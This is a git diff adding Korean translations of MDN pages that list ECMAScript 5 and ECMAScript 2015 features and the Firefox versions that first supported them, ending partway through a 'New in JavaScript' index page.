+++ b/files/ko/web/javascript/new_in_javascript/ecmascript_5_support_in_mozilla/index.html
@@ -0,0 +1,45 @@
+---
+title: ECMAScript 5 support in Mozilla
+slug: Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla
+tags:
+  - ECMAScript 5
+  - JavaScript
+  - Versions
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>ECMAScript 5.1, 자바스크립트에 기반한, 더 오래된 표준이 2011년 6월에 허가되었습니다.</p>
+
+<p>파이어폭스와 썬더버드를 포함하는 모질라 프로젝트들은 ECMAScript 5.1 의 기능들을 모두 지원합니다. 이 글은 모질라의 다양한 자바스크립트 런타임 버젼에 따라, 어떤 기능들이 지원되는지를 다룹니다.</p>
+
+<h2 id="지원_기능"><strong><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="font-size: 37.33327865600586px;">지원 기능</span></font></strong></h2>
+
+<h3 id="자바스크립트_1.8.5에_추가(Gecko_2_Firefox_4_and_later)">자바스크립트 1.8.5에 추가(Gecko 2, Firefox 4 and later)</h3>
+
+<p>파이어폭스 4는 <code>Object.*</code> 와 Strict 모드를 포함한 ECMAScript 5의 모든 기능을 지원합니다. <a href="/ko/docs/Web/JavaScript/New_in_JavaScript/1.8.5">자바스크립트 1.8.5의 새기능</a> 보기.</p>
+
+<h3 id="자바스크립트_1.8.1에_추가_(Gecko_1.9.1_Firefox_3.5)">자바스크립트 1.8.1에 추가 (Gecko 1.9.1, Firefox 3.5)</h3>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/JSON">네이티브 JSON </a>지원</li>
+ <li><a class="internal" href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf" title="En/Core JavaScript 1.5 Reference/Global Objects/Object/GetPrototypeOf"><code>Object.getPrototypeOf()</code></a> 함수.</li>
+ <li><a class="internal" href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/Trim" title="En/Core JavaScript 1.5 Reference/Global Objects/String/Trim"><code>String.trim()</code></a> 문자열 양 끝의 공백을 자르는 함수.</li>
+ <li>Gecko 1.9.1.4 는 ECMAScript 5와 호환하기 위해 <a href="/en-US/docs/Web/JavaScript/Guide/Using_native_JSON#Converting_objects_into_JSON" title="En/Using native JSON#Converting objects into JSON"><code>JSON.stringify()</code></a> 의 구현을 업데이트 하였습니다.</li>
+</ul>
+
+<p>ECMAScript 5 는 특정한 상황에서 XTHML을 자바스크립트 코드로 판단하는 경우를 방지하는 파싱 알고리즘을 만들어냈습니다.</p>
+
+<h3 id="자바스크립트_1.6에_추가_(Gecko_1.8_Firefox_1.5)">자바스크립트 1.6에 추가 (Gecko 1.8, Firefox 1.5)</h3>
+
+<p>새로운 <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array">배열</a></code> 함수들은, 배열을 가공하기 위해 향상된 방법들을 제공합니다. -- <a href="/ko/docs/Web/JavaScript/New_in_JavaScript/1.6">자바스크립트 1.6</a>부터 자바스크립트의 일부였던 이 것은 이제 ECMAScript 5의 표준 기능으로 자리잡았습니다.</p>
+
+<h2 id="같이_보기"><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="font-size: 37.33327865600586px;"><strong>같이 보기</strong></span></font></h2>
+
+<ul>
+ <li><a class="external" href="http://www.ecmascript.org/" title="http://www.ecmascript.org/">ECMAScript web site</a></li>
+ <li><a class="external" href="http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf" title="http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-262.pdf">ECMAScript 5.1 specification</a></li>
+ <li>John Resig's post on <a class="external" href="http://ejohn.org/blog/objectgetprototypeof/" title="http://ejohn.org/blog/objectgetprototypeof/">Object.getPrototypeOf</a></li>
+ <li>Michael J. Ryan's implementation of <a class="external" href="http://frugalcoder.us/post/2010/01/07/EcmaScript-5s-Date-Extensions.aspx" title="http://frugalcoder.us/post/2010/01/07/EcmaScript-5s-Date-Extensions.aspx">ECMAScript5 Dates in JavaScript</a></li>
+ <li><a href="http://kangax.github.io/es5-compat-table/" title="http://kangax.github.io/es5-compat-table/">ECMAScript 5 support across browsers</a></li>
+</ul>
diff --git a/files/ko/web/javascript/new_in_javascript/ecmascript_6_support_in_mozilla/index.html b/files/ko/web/javascript/new_in_javascript/ecmascript_6_support_in_mozilla/index.html
new file mode 100644
index 0000000000..bafb603919
--- /dev/null
+++ b/files/ko/web/javascript/new_in_javascript/ecmascript_6_support_in_mozilla/index.html
@@ -0,0 +1,285 @@
+---
+title: ECMAScript 2015 support in Mozilla
+slug: Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla
+tags:
+  - ECMAScript6
+  - JavaScript
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/ECMAScript_2015_support_in_Mozilla
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<div>
+<p>ECMAScript 2015는 ECMAScript 언어의 6번째 표준 스펙(Spec)입니다. 파이어폭스와 모질라 애플리케이션에서 사용되는 <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> 엔진의 표준 자바스크립트를 정의하고 있습니다.</p>
+
+<p>"ES.next", "Harmony", or "ECMAScript 6" 등의 코드네임으로 불린 이 표준은 2011년 7월 12일에 "ES.next"라는 명칭으로 초안이 발표되었습니다. 2014년 8월 드디어 ECMAScript 2015 초안의 기능들이 확정되고 안정화와 버그 수정 작업에 들어갔습니다. 그리고 2015년 6월 17일, 드디어 ECMA-262 Edition 6은 ECMA 총회(General Assembly)의 공식 승인을 받아 배포되었습니다. 이 표준은 국제 산업 규격 ISO/IEC 16262:2016이기도 합니다.</p>
+
+<p><a href="http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf">PDF</a>와   <a href="http://www.ecma-international.org/ecma-262/6.0/index.html">HTML</a> 버전의 표준을 <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ecma-international.org 에서 무료로 다운로드 할 수 있습니다</a>.</p>
+</div>
+
+<p>ECMAScript 표준에 대한 피드백 채널은 <a href="https://mail.mozilla.org/listinfo/es-discuss">es-discuss</a>을 이용하시면 됩니다.</p>
+
+<h2 id="표준_라이브러리">표준 라이브러리</h2>
+
+<h3 id="Array_객체_추가사항"><code>Array</code> 객체 추가사항</h3>
+
+<ul>
+ <li>{{jsxref("Array")}} iteration with {{jsxref("Statements/for...of", "for...of")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/13" style='background-color: rgb(255, 255, 255); font-family: "Open Sans", arial, x-locale-body, sans-serif;'>Firefox 13</a><span style='background-color: #ffffff; color: #333333; font-family: "Open Sans",arial,x-locale-body,sans-serif;'>)</span></li>
+ <li>{{jsxref("Array.from()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/32">Firefox 32</a>)</li>
+ <li>{{jsxref("Array.of()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>{{jsxref("Array.prototype.fill()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("Array.prototype.find()")}}, {{jsxref("Array.prototype.findIndex()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>{{jsxref("Array.prototype.entries()")}},<br>
+  {{jsxref("Array.prototype.keys()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/28">Firefox 28</a>),<br>
+  {{jsxref("Array.prototype.values()")}}</li>
+ <li>{{jsxref("Array.prototype.copyWithin()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/32">Firefox 32</a>)</li>
+ <li>{{jsxref("Array.@@species", "get Array[@@species]")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/48">Firefox 48</a>)</li>
+</ul>
+
+<h3 id="새로운_Map과_Set_객체_그리고_WeakMap과_WeakSet_객체">새로운 <code>Map</code>과 <code>Set</code> 객체 그리고 <code>WeakMap과</code> <code>WeakSet 객체</code></h3>
+
+<ul>
+ <li>{{jsxref("Map")}} (<a href="/en-US/Firefox/Releases/13">Firefox 13</a>)
+
+  <ul>
+   <li>{{jsxref("Statements/for...of", "for...of")}}에서의 {{jsxref("Map")}} 반복 (<a href="/en-US/Firefox/Releases/17">Firefox 17</a>)</li>
+   <li>{{jsxref("Map.prototype.forEach()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
+   <li>{{jsxref("Map.prototype.entries()")}} (<a href="/en-US/Firefox/Releases/20">Firefox 20</a>)</li>
+   <li>{{jsxref("Map.prototype.keys()")}} (<a href="/en-US/Firefox/Releases/20">Firefox 20</a>)</li>
+   <li>{{jsxref("Map.prototype.values()")}}</li>
+   <li>생성자 인수: <code>new {{jsxref("Map")}}(null)</code> (<a href="/en-US/Firefox/Releases/37">Firefox 37</a>)</li>
+   <li>몽키 패치 된 생성자 내의 <code>set()</code> (<a href="/en-US/Firefox/Releases/37">Firefox 37</a>)</li>
+   <li>{{jsxref("Map.@@species", "get Map[@@species]")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/41">Firefox 41</a>)</li>
+  </ul>
+ </li>
+ <li>{{jsxref("Set")}} (<a href="/en-US/Firefox/Releases/13">Firefox 13</a>)
+  <ul>
+   <li>{{jsxref("Statements/for...of", "for...of")}}에서의 {{jsxref("Set")}} 반복 (<a href="/en-US/Firefox/Releases/17">Firefox 17</a>)</li>
+   <li>{{jsxref("Set.prototype.forEach()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
+   <li>{{jsxref("Set.prototype.entries()")}},<br>
+    {{jsxref("Set.prototype.keys()")}},<br>
+    {{jsxref("Set.prototype.values()")}} (<a href="/en-US/Firefox/Releases/24">Firefox 24</a>)</li>
+   <li>생성자 인수: <code>new {{jsxref("Set")}}(null)</code> (<a href="/en-US/Firefox/Releases/37">Firefox 37</a>)</li>
+   <li>몽키 패치 된 생성자 내의 <code>add()</code> (<a href="/en-US/Firefox/Releases/37">Firefox 37</a>)</li>
+  </ul>
+ </li>
+ <li>{{jsxref("WeakMap")}} (<a href="/en-US/Firefox/Releases/6">Firefox 6</a>)
+  <ul>
+   <li>{{jsxref("WeakMap.clear()")}} (<a href="/en-US/Firefox/Releases/20">Firefox 20</a>)</li>
+   <li>반복 가능한 {{jsxref("WeakMap")}} 생성자 내의 선택적 인수 (<a href="/en-US/Firefox/Releases/36">Firefox 36</a>)</li>
+   <li>생성자 인수: <code>new {{jsxref("WeakMap")}}(null)</code> (<a href="/en-US/Firefox/Releases/37">Firefox 37</a>)</li>
+   <li>몽키 패치 된 생성자 내의 <code>set()</code> (<a href="/en-US/Firefox/Releases/37">Firefox 37</a>)</li>
+  </ul>
+ </li>
+ <li>{{jsxref("WeakSet")}} (<a href="/en-US/Firefox/Releases/34">Firefox 34</a>)
+  <ul>
+   <li>생성자 인수: <code>new {{jsxref("WeakSet")}}(null)</code> (<a href="/en-US/Firefox/Releases/37">Firefox 37</a>)</li>
+   <li>몽키 패치 된 생성자 내의 <code>add()</code> (<a href="/en-US/Firefox/Releases/37">Firefox 37</a>)</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="새로운_Math_함수">새로운 <code>Math</code> 함수</h3>
+
+<ul>
+ <li>{{jsxref("Math.imul()")}} (<a href="/en-US/Firefox/Releases/20">Firefox 20</a>)</li>
+ <li>{{jsxref("Math.clz32()")}} (<a href="/en-US/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("Math.fround()")}} (<a href="/en-US/Firefox/Releases/26">Firefox 26</a>)</li>
+ <li>{{jsxref("Math.log10()")}}, {{jsxref("Math.log2()")}}, {{jsxref("Math.log1p()")}}, {{jsxref("Math.expm1()")}}, {{jsxref("Math.cosh()")}}, {{jsxref("Math.sinh()")}}, {{jsxref("Math.tanh()")}}, {{jsxref("Math.acosh()")}}, {{jsxref("Math.asinh()")}}, {{jsxref("Math.atanh()")}}, {{jsxref("Math.hypot()")}}, {{jsxref("Math.trunc()")}}, {{jsxref("Math.sign()")}}, {{jsxref("Math.cbrt()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
+</ul>
+
+<h3 id="Number_객체_추가사항"><code>Number</code> 객체 추가사항</h3>
+
+<ul>
+ <li>{{jsxref("Number.isNaN()")}} (<a href="/en-US/Firefox/Releases/16">Firefox 16</a>)</li>
+ <li>{{jsxref("Number.isFinite()")}} (<a href="/en-US/Firefox/Releases/16">Firefox 16</a>)</li>
+ <li>{{jsxref("Number.isInteger()")}} (<a href="/en-US/Firefox/Releases/16">Firefox 16</a>)</li>
+ <li>{{jsxref("Number.parseInt()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>{{jsxref("Number.parseFloat()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>{{jsxref("Number.EPSILON")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>{{jsxref("Number.MAX_SAFE_INTEGER")}}, {{jsxref("Number.MIN_SAFE_INTEGER")}} (<a href="/en-US/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("Number.isSafeInteger()")}} (<a href="/en-US/Firefox/Releases/32">Firefox 32</a>)</li>
+</ul>
+
+<h3 id="Object_객체_추가사항"><code>Object</code> 객체 추가사항</h3>
+
+<ul>
+ <li>{{jsxref("Object.prototype.__proto__")}}가 표준이 되었습니다.</li>
+ <li>{{jsxref("Object.is()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/22">Firefox 22</a>)</li>
+ <li>{{jsxref("Object.setPrototypeOf()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("Object.assign()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/34">Firefox 34</a>)</li>
+ <li>{{jsxref("Object.getOwnPropertySymbols()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/33">Firefox 33</a>)</li>
+</ul>
+
+
+
+<h3 id="Date_객체_추가사항"><code>Date</code> 객체 추가사항</h3>
+
+<ul>
+ <li>{{jsxref("Date.prototype")}} is an ordinary object (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/41">Firefox 41</a>)</li>
+ <li>generic {{jsxref("Date.prototype.toString")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/41">Firefox 41</a>)</li>
+ <li>{{jsxref("Date.prototype.@@toPrimitive", "Date.prototype[@@toPrimitive]")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/44">Firefox 44</a>)</li>
+</ul>
+
+
+
+<h3 id="새로운_Promise_객체">새로운 <code>Promise</code> 객체</h3>
+
+<ul>
+ <li>{{jsxref("Promise")}} (<a href="/en-US/Firefox/Releases/24">Firefox 24</a>(<a href="/en-US/Firefox/Releases/29">Firefox 29</a>에서 기본값으로 활성화 되어 있음))</li>
+</ul>
+
+
+
+<h3 id="새로운_Proxy_객체">새로운 <code>Proxy</code> 객체</h3>
+
+<ul>
+ <li>{{jsxref("Proxy")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/18">Firefox 18</a>)</li>
+ <li>{{jsxref("Global_Objects/Proxy/handler/preventExtensions", "preventExtensions()")}} trap (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/22">Firefox 22</a>)</li>
+ <li>{{jsxref("Global_Objects/Proxy/handler/isExtensible", "isExtensible()")}} trap (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("Global_Objects/Proxy/handler/getPrototypeOf", "getPrototypeOf()")}} and {{jsxref("Global_Objects/Proxy/handler/setPrototypeOf", "setPrototypeOf()")}} traps (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/49">Firefox 49</a>)</li>
+</ul>
+
+
+
+<h3 id="새로운_Reflect_객체">새로운 <code>Reflect</code> 객체</h3>
+
+<ul>
+ <li>{{jsxref("Reflect")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/42">Firefox 42</a>)</li>
+</ul>
+
+
+
+
+
+<h3 id="RegExp_객체_추가사항"><code>RegExp</code> 객체 추가사항</h3>
+
+<ul>
+ <li>{{jsxref("RegExp")}} sticky (y) flag (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/38">Firefox 38</a>)</li>
+ <li>{{jsxref("RegExp")}} unicode (u) flag (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/46">Firefox 46</a>)</li>
+ <li>generic {{jsxref("RegExp.prototype.toString")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/39">Firefox 39</a>)</li>
+ <li>{{jsxref("RegExp.prototype.@@match()", "RegExp.prototype[@@match]()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("RegExp.prototype.@@replace()", "RegExp.prototype[@@replace]()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("RegExp.prototype.@@search()", "RegExp.prototype[@@search]()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("RegExp.prototype.@@split()", "RegExp.prototype[@@split]()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("RegExp.@@species", "get RegExp[@@species]")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/49">Firefox 49</a>)</li>
+</ul>
+
+<h3 id="String_객체_추가사항"><code>String</code> 객체 추가사항</h3>
+
+<ul>
+ <li>{{jsxref("String.fromCodePoint()")}} (<a href="/en-US/Firefox/Releases/29">Firefox 29</a>)</li>
+ <li>{{jsxref("String.prototype.codePointAt()")}} (<a href="/en-US/Firefox/Releases/29">Firefox 29</a>)</li>
+ <li>{{jsxref("String.prototype.startsWith()")}}, {{jsxref("String.prototype.endsWith()")}} (<a href="/en-US/Firefox/Releases/17">Firefox 17</a>)</li>
+ <li>{{jsxref("String.prototype.includes()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/40">Firefox 40</a>) (formerly <code>String.prototype.contains()</code> (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/17">Firefox 17</a>))</li>
+ <li>{{jsxref("String.prototype.repeat()")}} (<a href="/en-US/Firefox/Releases/24">Firefox 24</a>)</li>
+ <li>{{jsxref("String.prototype.normalize()")}} (<a href="/en-US/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("String.raw()")}} (<a href="/en-US/Firefox/Releases/34">Firefox 34</a>)</li>
+ <li>{{jsxref("Global_Objects/String", "u{XXXXXX} 유니코드 코드 포인트", "", 1)}} (<a href="/en-US/Firefox/Releases/40">Firefox 40</a>)</li>
+</ul>
+
+<h3 id="새로운_Symbol_객체">새로운 <code>Symbol</code> 객체</h3>
+
+<ul>
+ <li>{{jsxref("Symbol")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/36">Firefox 36</a>)</li>
+ <li>{{jsxref("Symbol.iterator")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/36">Firefox 36</a>)</li>
+ <li>{{jsxref("Symbol.for()")}} - global Symbol registry (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/36">Firefox 36</a>)</li>
+ <li>{{jsxref("Symbol.match")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/40">Firefox 40</a>)</li>
+ <li>{{jsxref("Symbol.species")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/41">Firefox 41</a>)</li>
+ <li>{{jsxref("Symbol.toPrimitive")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/44">Firefox 44</a>)</li>
+ <li>{{jsxref("Symbol.prototype.@@toPrimitive", "Symbol.prototype[@@toPrimitive]")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/44">Firefox 44</a>)</li>
+ <li>{{jsxref("Symbol.replace")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("Symbol.search")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("Symbol.split")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("Symbol.hasInstance")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/50">Firefox 50</a>)</li>
+</ul>
+
+<h3 id="형식화된_배열">형식화된 배열</h3>
+
+<p>형식화된 배열은 ECMAScript 2015의 일부로 지정되었고, 더 이상 <a href="https://www.khronos.org/registry/typedarray/specs/latest/">자신의 기존 명세서</a>를 따르지 않습니다.</p>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("ArrayBuffer.@@species", "get ArrayBuffer[@@species]")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/48">Firefox 48</a>)</li>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("Int8Array")}}</li>
+ <li>{{jsxref("Uint8Array")}}</li>
+ <li>{{jsxref("Uint8ClampedArray")}}</li>
+ <li>{{jsxref("Int16Array")}}</li>
+ <li>{{jsxref("Uint16Array")}}</li>
+ <li>{{jsxref("Int32Array")}}</li>
+ <li>{{jsxref("Uint32Array")}}</li>
+ <li>{{jsxref("Float32Array")}}</li>
+ <li>{{jsxref("Float64Array")}}</li>
+ <li>{{jsxref("TypedArray.@@species", "get %TypedArray%[@@species]")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/48">Firefox 48</a>)</li>
+</ul>
+
+<h2 id="표현식과_연산자">표현식과 연산자</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new.target">new.target</a> (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/41">Firefox 41</a>)</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">배열을 위한 Spread 연산자</a> (<a href="/en-US/Firefox/Releases/16">Firefox 16</a>)
+  <ul>
+   <li><code>Symbol.iterator</code> 속성 사용 (<a href="/en-US/Firefox/Releases/36">Firefox 36</a>)</li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">함수 호출을 위한 Spread 연산자</a> (<a href="/en-US/Firefox/Releases/27">Firefox 27</a>)
+  <ul>
+   <li><code>Symbol.iterator</code> 속성 사용 (<a href="/en-US/Firefox/Releases/36">Firefox 36</a>)</li>
+  </ul>
+ </li>
+ <li>{{jsxref("Statements/const", "const")}} (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/1.5">JS 1.5</a>, Firefox 1.0) (ES2015 compliance {{bug("950547")}} implemented in Firefox 51)</li>
+ <li>{{jsxref("Statements/let", "let")}} (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/1.7">JS 1.7</a>, <a href="https://developer.mozilla.org/en-US/Firefox/Releases/2">Firefox 2</a>) (ES2015 compliance {{bug("950547")}} implemented in Firefox 51)</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">Destructuring assignment</a> (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/1.7">JS 1.7</a>, <a href="https://developer.mozilla.org/en-US/Firefox/Releases/2">Firefox 2</a>) (ES2015 compliance {{bug("1055984")}})</li>
+</ul>
+
+<h2 id="문문장">문(문장)</h2>
+
+<ul>
+ <li>{{jsxref("Statements/for...of", "for...of")}}(<a href="/en-US/Firefox/Releases/13">Firefox 13</a>)
+
+  <ul>
+   <li><code>.iterator()</code>와 <code>.next()</code>에 관한 동작 (<a href="/en-US/Firefox/Releases/17">Firefox 17</a>)</li>
+   <li><code>"@@iterator"</code> 속성 사용 (<a href="/en-US/Firefox/Releases/27">Firefox 27</a>)</li>
+   <li><code>Symbol.iterator</code> 속성 사용 (<a href="/en-US/Firefox/Releases/36">Firefox 36</a>)</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="함수">함수</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/rest_parameters">Rest 매개 변수</a> (<a href="/en-US/Firefox/Releases/15">Firefox 15</a>)</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/default_parameters">Default 매개 변수</a> (<a href="/en-US/Firefox/Releases/15">Firefox 15</a>)
+  <ul>
+   <li>Parameters without defaults after default parameters (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/26">Firefox 26</a>)</li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters#Destructured_parameter_with_default_value_assignment" title="Default function parameters allow formal parameters to be initialized with default values if no value or undefined is passed.">Destructured parameters with default value assignment</a> (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/41">Firefox 41</a>)</li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/arrow_functions">Arrow 함수</a> (<a href="/en-US/Firefox/Releases/22">Firefox 22</a>)</li>
+ <li>{{jsxref("Statements/function*", "Generator 함수")}} (<a href="/en-US/Firefox/Releases/26">Firefox 26</a>)
+  <ul>
+   <li>{{jsxref("Operators/yield", "yield")}} (<a href="/en-US/Firefox/Releases/26">Firefox 26</a>)</li>
+   <li>{{jsxref("Operators/yield*", "yield*")}} (<a href="/en-US/Firefox/Releases/27">Firefox 27</a>)</li>
+  </ul>
+ </li>
+ <li>{{jsxref("Functions/arguments/@@iterator", "arguments[@@iterator]")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/46">Firefox 46</a>)</li>
+</ul>
+
+<h2 id="그_밖의_기능">그 밖의 기능</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Numeric_literals">2진과 8진 숫자 리터럴</a> (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/template_strings">템플릿 문자열</a> (<a href="/en-US/Firefox/Releases/34">Firefox 34</a>)</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer#Property_definitions">객체 이니셜라이져: 줄임 속성 이름</a> (<a href="/en-US/Firefox/Releases/33">Firefox 33</a>)</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer#Computed_property_names">객체 이니셜라이저: 계산된 속성 이름</a> (<a href="/en-US/Firefox/Releases/34">Firefox 34</a>)</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer#Method_definitions">객체 이니셜라이저: 줄임 메소드 이름</a> (<a href="/en-US/Firefox/Releases/34">Firefox 34</a>)</li>
+</ul>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="http://www.ecmascript.org/">ECMAScript 웹 사이트</a></li>
+ <li><a href="http://wiki.ecmascript.org/doku.php?id=harmony:specification_drafts">ECMAScript 2015 명세서 초안</a></li>
+ <li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=694100">Mozilla ES2015 버그 추적</a></li>
+ <li><a href="http://kangax.github.io/es5-compat-table/es6" title="http://kangax.github.io/es5-compat-table">브라우저에서의 ECMAScript 2015 지원</a></li>
+</ul>
diff --git a/files/ko/web/javascript/new_in_javascript/index.html b/files/ko/web/javascript/new_in_javascript/index.html
new file mode 100644
index 0000000000..0972eba4d0
--- /dev/null
+++ b/files/ko/web/javascript/new_in_javascript/index.html
@@ -0,0 +1,71 @@
+---
+title: New in JavaScript
+slug: Web/JavaScript/New_in_JavaScript
+tags:
+  - JavaScript
+  - Versions
+translation_of: Archive/Web/JavaScript/New_in_JavaScript
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>이 장은 JavaScript 버전 이력에 관한 정보 및 Mozilla/SpiderMonkey 기반 JavaScript 애플리케이션, 가령 Firefox의 구현 상태를 포함합니다.</p>
+
+<h2 id="ECMAScript_버전">ECMAScript 버전</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/JavaScript/언어_리소스">언어 리소스</a></dt>
+ <dd>JavaScript 언어의 기반이 된 ECMAScript 표준에 대해 자세히 알아보세요.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla">ECMAScript 5 지원</a></dt>
+ <dd>Mozilla 기반 엔진 및 제품에서 현재 표준 ECMA-262 Edition 5.1의 구현 상태.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla">ECMAScript 6 지원</a></dt>
+ <dd>Mozilla 기반 엔진 및 제품에서 초안 ECMA-262 Edition 6 (ES2015/ES6)의 구현 상태.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_7_support_in_Mozilla">ECMAScript Next 지원</a></dt>
+ <dd>Mozilla 기반 엔진 및 제품에서 연간 (ES2016/ES2017/ES2018/...) 출시 계획에 따라 예정된 ECMA-262 기능의 구현 상태.</dd>
+</dl>
+
+<h2 id="JavaScript_출시_기록">JavaScript 출시 기록</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/Firefox_JavaScript_changelog">Firefox JavaScript changelog</a></dt>
